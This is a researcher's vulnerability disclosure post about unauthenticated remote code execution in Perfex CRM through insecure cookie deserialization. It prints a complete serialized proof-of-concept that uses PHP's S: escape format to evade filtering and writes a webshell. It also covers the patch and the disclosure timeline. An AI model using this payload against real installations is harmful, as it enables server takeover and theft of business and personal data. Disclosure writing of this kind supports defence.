---
title: "Perfex CRM \u003c=3.4.0 allows unauthenticated RCE via insecure deserialization"
created_at: 2026-03-16
updated_at: 2026-03-16
description: "Perfex CRM passed the autologin cookie into unserialize() without validation, giving unauthenticated attackers remote code execution."
tags: ["vulnerability","perfex-crm","deserialization","rce","php"]
source: https://nullcathedral.com/posts/2026-03-16-perfex-crm-unauthenticated-rce-insecure-deserialization/
---


**TL;DR:** Perfex CRM fed the `autologin` cookie straight into `unserialize()`. CodeIgniter's XSS filter stripped the null bytes that private PHP properties need, but PHP's `S:` format got around that. Unauthenticated cookie to shell via GuzzleHttp's `FileCookieJar`.

## Vulnerability information

| Field | Value |
|-------|-------|
| **Vendor** | MSTdev |
| **Product** | Perfex CRM |
| **Affected versions** | <= 3.4.0 |
| **CVE** | Requested |
| **CVSS 4.0** | [10.0 / Critical](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Disclosure date** | 2026-03-16 |

## Background

Last December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for "super verified secure scripts", so I started browsing for interesting apps to poke at. I [sorted by sales](https://codecanyon.net/category/php-scripts?sort=sales)[^codecanyon] and landed on Perfex CRM as my first pick.

Perfex CRM is a PHP CRM. It's built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.

## The vulnerable call

On the demo instance, the `autologin` cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, `Authentication_model.php` passes it straight into a bare `unserialize()`. Textbook object injection.

The base controller loads the authentication model on every request:

`core/App_Controller.php`

```php
$this->load->model('authentication_model');
$this->authentication_model->autologin();
```

The model's constructor calls it again:

`models/Authentication_model.php`
```php
public function __construct()
{
    parent::__construct();
    $this->load->model('user_autologin');
    $this->autologin();
}
```

The `autologin()` method:

`models/Authentication_model.php`
```php
public function autologin()
{
    if (!is_logged_in()) {
        $this->load->helper('cookie');
        if ($cookie = get_cookie('autologin', true)) {
            $data = unserialize($cookie);
            if (isset($data['key']) and isset($data['user_id'])) {
```

The cookie hits `unserialize()` on every request, every route, with no validation.

## The XSS filter problem

My first payload didn't work. Perfex calls `get_cookie('autologin', true)`, and that second parameter turns on CodeIgniter's XSS filtering:

[`system/helpers/cookie_helper.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/helpers/cookie_helper.php#L89-L94)
```php
function get_cookie($index, $xss_clean = NULL)
{
    is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE);
    $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix');
    return get_instance()->input->cookie($prefix.$index, $xss_clean);
}
```

CodeIgniter's input processing calls `remove_invisible_characters()`, which strips null bytes:

[`system/core/Common.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Common.php#L722)

```php
$non_displayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
```

Private properties in PHP serialization use `\x00ClassName\x00property` as the key. The null bytes are structural. Strip them and the payload breaks:

```
s:17:"\x00ClassName\x00prop"  ->  after filter  ->  s:17:"ClassNameprop"
      ^^^^          ^^^^                            (broken, length mismatch)
```

That could have been the end of it. But the filter strips bytes from the cookie value, and `unserialize()` is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn't use literal null bytes in the wire format, the filter would have nothing to strip.

## The `S:` format bypass

I cloned php-src[^google] and started reading [`var_unserializer.re`](https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re), the lexer that drives `unserialize()`. The lowercase `s:` tag reads string bytes verbatim. A few lines down, an uppercase `S:` variant resolves `\xx` hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.

[`ext/standard/var_unserializer.re`](https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re#L334-L353)
```c
if (**p != '\\') {
    ZSTR_VAL(str)[i] = (char)**p;
} else {
    unsigned char ch = 0;

    for (j = 0; j < 2; j++) {
        (*p)++;
        if (**p >= '0' && **p <= '9') {
            ch = (ch << 4) + (**p -'0');
        } else if (**p >= 'a' && **p <= 'f') {
            ch = (ch << 4) + (**p -'a'+10);
        } else if (**p >= 'A' && **p <= 'F') {
            ch = (ch << 4) + (**p -'A'+10);
        } else {
            zend_string_efree(str);
            return NULL;
        }
    }
    ZSTR_VAL(str)[i] = (char)ch;
}
```

`S:3:"\00A\00"` is entirely printable ASCII. It passes through the XSS filter untouched, and `unserialize()` resolves the hex escapes back into null bytes.

The `S:` tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6's Unicode strings where not all byte sequences are valid. The uppercase `S:` tag was [added to PHP 5 in 2006](https://github.com/php/php-src/commit/7ccba6624df074051f24efabd5d88d9c0d2a8ec0) so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the `S:` tag, and no tests covered it. It was only [deprecated in PHP 8.4](https://github.com/php/php-src/commit/ecd11b968713025bba6fc145a0765f85f48a8a00) ([the RFC passed 36-0](https://wiki.php.net/rfc/deprecations_php_8_4)), so it sat in the unserializer for 18 years.[^s-format]

## More obstacles

With the null byte problem solved, building the full payload hit three more issues.

Private properties include the full namespace, so the `FileCookieJar` cookies property serializes as `\x00GuzzleHttp\Cookie\CookieJar\x00cookies`. In `S:` format, `\Co` fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. `C` is valid hex but `o` is not. Using `\5c` for literal backslashes gets around this.

```
S:36:"\00GuzzleHttp\5cCookie\5cCookieJar\00cookies"
```

Next, CodeIgniter's `xss_clean()` replaces PHP open/close tags:

[`system/core/Security.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Security.php#L460)
```php
$str = str_replace(array('<?', '?'.'>'), array('&lt;?', '?&gt;'), $str);
```

The shell payload contains `<?` which gets mangled. Hex-encoding the tags in the `S:` string avoids this. `\3c\3f` becomes `<?`, `\60` becomes the backtick, `\3f\3e` becomes `?>`. All resolved after filtering.

```
S:15:"\3c\3f=\60$_GET[0]\60\3f\3e"
```

Finally, after deserialization the app does `isset($data['key'])`. If `$data` is a `FileCookieJar` object instead of an array, PHP 8 throws a `TypeError` and returns HTTP 500. Wrapping the gadget in an array with valid `key` and `user_id` fields avoids this. The nested `FileCookieJar.__destruct()` still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.

## The gadget chain

Perfex CRM bundles GuzzleHttp, which includes `FileCookieJar`:

```php
class FileCookieJar extends CookieJar
{
    private $filename;
    private $storeSessionCookies;

    public function __destruct()
    {
        $this->save($this->filename);
    }

    public function save(string $filename): void
    {
        $json = [];
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }
        if (false === \file_put_contents($filename, Utils::jsonEncode($json), \LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
}
```

When the object destructs, it calls `file_put_contents()` with a path and content we control. The `shouldPersist()` check requires either `Expires` to be set or `storeSessionCookies` to be true, and `Discard` to be false. The PoC sets all three to pass the gate. The "Name" field of a `SetCookie` object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.

The written file looks like:

```json
[{"Name":"<?=`$_GET[0]`?>","Value":"x","Domain":"localhost",...}]
```

PHP ignores the JSON around it. It only cares about the `<?=` tag.

## Proof of concept

```
a:3:{                             <- array wrapper (to avoid TypeError)
  s:3:"key";s:1:"x";              <- satisfies isset($data['key'])
  s:7:"user_id";s:1:"1";          <- satisfies isset($data['user_id'])
  s:3:"jar";
  O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{
    S:36:"\00GuzzleHttp\5cCookie\5cCookieJar\00cookies";
           ^^^          ^^^     ^^^          ^^^
         null byte   backslash            null byte

    a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{
      S:33:"\00GuzzleHttp\5cCookie\5cSetCookie\00data";
      a:9:{
        s:4:"Name";
        S:15:"\3c\3f=\60$_GET[0]\60\3f\3e";
              ^^^^     ^^^^      ^^^^
               <?       `        ?>
        s:5:"Value";s:1:"x";
        s:6:"Domain";s:9:"localhost";
        s:4:"Path";s:1:"/";
        s:7:"Max-Age";N;
        s:7:"Expires";i:9999999999;
        s:6:"Secure";b:0;
        s:7:"Discard";b:0;
        s:8:"HttpOnly";b:0;
      }
    }}
    S:39:"\00GuzzleHttp\5cCookie\5cCookieJar\00strictMode";b:0;
    S:41:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00filename";
    s:31:"filename.php";
    S:52:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00storeSessionCookies";
    b:1;
  }
}
```

## Impact

Unauthenticated RCE as the web server user.

There is evidence suggesting active exploitation in the wild. See [disclosure process notes](#disclosure-process-notes).

## Remediation

v3.4.1 replaces `serialize()`/`unserialize()` with `json_encode()`/`json_decode()`. JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.

The patched `autologin()`:

```php
public function autologin()
{
    if (! is_logged_in()) {
        $this->load->helper('cookie');
        if ($cookie = get_cookie('autologin', true)) {
            $data = json_decode($cookie, true);

            if (! is_array($data)) {
                delete_cookie('autologin', 'aal');
                return false;
            }

            if (isset($data['key']) and isset($data['user_id'])) {
                if (! is_numeric($data['user_id']) || ! is_string($data['key'])) {
                    delete_cookie('autologin', 'aal');
                    return false;
                }

                if (! is_null($user = $this->user_autologin->get(
                    $data['user_id'], hash('sha256', $data['key'])
                ))) {
                    // ...login proceeds
```

The patched `create_autologin()`:

```php
private function create_autologin($user_id, $staff)
{
    $this->load->helper('cookie');
    $key = bin2hex(random_bytes(32));
    $this->user_autologin->delete($user_id, $key, $staff);

    if ($this->user_autologin->set($user_id, hash('sha256', $key), $staff)) {
        set_cookie([
            'name'  => 'autologin',
            'value' => json_encode([
                'user_id' => $user_id,
                'key'     => $key,
            ]),
            'expire' => 60 * 60 * 24 * 31 * 2,
        ]);
        return true;
    }
    return false;
}
```

The fix also adds type validation (`is_array()`, `is_numeric()`, `is_string()`) on the decoded cookie data before use, and the autologin token is now `bin2hex(random_bytes(32))` stored as `hash('sha256', $key)`.

tl;dr Update to 3.4.1.

## Disclosure process notes

I reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.[^support-renewal] Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.

While this was ongoing, a Perfex CRM user [publicly reported](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2&filter=all#comment_31909364) finding two backdoors on their server: a webshell decrypting and executing attacker requests via `eval()`, and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.

I considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don't have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don't have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.

If you're a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.

Feedback on how this was handled is welcome: [get in touch](/contact).

## Timeline

### Vendor timeline

| Date | Event |
|------|-------|
| 2026-01-05 | Reported to vendor and asked for a security contact. |
| 2026-01-08 | Shared technical details with vendor. |
| 2026-01-14 | Requested update and remediation timeline. |
| 2026-01-28 | Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02. |
| 2026-02-07 | Shared active exploitation concern with vendor ([CodeCanyon comment](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2&filter=all#comment_31909364)). |
| 2026-02-08 | Forwarded disclosure email to another address affiliated with the project. |
| 2026-02-13 | Requested update and remediation timeline. |
| 2026-02-13 | Forwarded disclosure email to another address affiliated with the project. |
| 2026-02-17 | Posted a [public comment on CodeCanyon](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=1&filter=all#comment_31924153) requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not. |
| 2026-02-18 | Vendor replied and shared first patch. |
| 2026-02-18 | Sent patch feedback to vendor. |
| 2026-02-18 | Vendor shared second patch. |
| 2026-02-18 | Confirmed second patch looked ok. |
| 2026-03-07 | Requested update and remediation timeline. |
| 2026-03-09 | Vendor responded that release work was in progress. |
| 2026-03-09 | Followed up and re-raised exploitation concern. |
| 2026-03-13 | Patch released ([v3.4.1 security maintenance release](https://help.perfexcrm.com/version-3-4-1-security-maintenance-release/)).
| 2026-03-16 | This post. |

### Envato timeline

| Date | Event |
|------|-------|
| 2026-02-02 | Reached out to Envato. |
| 2026-02-03 | Envato responded and requested PoC. |
| 2026-02-03 | Shared PoC with Envato. |
| 2026-02-04 | Shared exploitation concern with Envato ([CodeCanyon comment](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2&filter=all#comment_31909364)). |
| 2026-02-13 | Requested update and remediation timeline. |
| 2026-02-18 | Envato acknowledged a report backlog and delay in handling.[^envato-backlog] |
| 2026-02-18 | Envato said the author had been chased. |
| 2026-03-12 | Requested Envato contact the vendor again. |

[^google]: Googling would have been faster, but reading the lexer was more fun!
[^codecanyon]: 35,000+ sales on CodeCanyon at the time of writing.
[^s-format]: The `S:` format was unknown to me at the time of discovery. I've since found that phpggc has supported it since [November 2018](https://github.com/ambionics/phpggc/commit/970ee4a86d206b637f6bec511a4f5b7a2d118889) via its `-a` flag, and that most documentation of the technique is in Chinese security blogs (e.g. [WGPSEC](https://wiki.wgpsec.org/knowledge/ctf/php-serialize.html), [Lazzaro](https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/index.html), [lanyi](https://medium.com/@lyltvip/php-deserialization-escape-970cd8ea714e)).
[^support-renewal]: Around the same time, [another user on CodeCanyon](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2&filter=all#comment_31919413) reported a security concern and was told to renew their support license before the vendor would engage.
[^envato-backlog]: "We've had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we're improving the way we deal with them, we sometimes get a little behind - I know that's not great in cases like this where speed is of the essence."

